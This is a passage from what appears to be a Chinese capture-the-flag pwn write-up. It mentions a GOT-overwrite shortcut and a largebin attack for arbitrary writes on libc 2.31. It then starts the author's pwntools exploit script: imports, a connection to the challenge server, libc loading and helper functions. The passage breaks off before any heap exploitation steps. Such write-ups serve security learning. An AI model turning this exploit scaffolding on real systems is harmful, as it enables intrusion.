概述
有个非预期解是打got表,使题目难度降低了很多,如果开了got不可写的话可以用largebin attack或者其他高版本libc任意地址写来做
这里放我自己用的largebin attack的方法:
from re import L
from pwn import *
from ctypes import *
from string import *
from hashlib import *
from itertools import product
#context.log_level = 'debug'
#io = process('./pwn')
io = remote('119.23.255.127',40407)
libc = ELF('./libc-2.31.so')
elf=ELF("./pwn")
rl = lambda
a=False
: io.recvline(a)
ru = lambda a,b=True
: io.recvuntil(a,b)
rn = lambda x
: io.recvn(x)
sn = lambda x
: io.send(x)
sl = lambda x
: io.sendline(x)
sa = lambda a,b
: io.sendafter(a,b)
sla = lambda a,b
: io.sendlineafter(a,b)
irt = lambda
: io.interactive()
dbg = lambda text=None
: gdb.attach(io, text)
# lg = lambda s,addr
: log.info('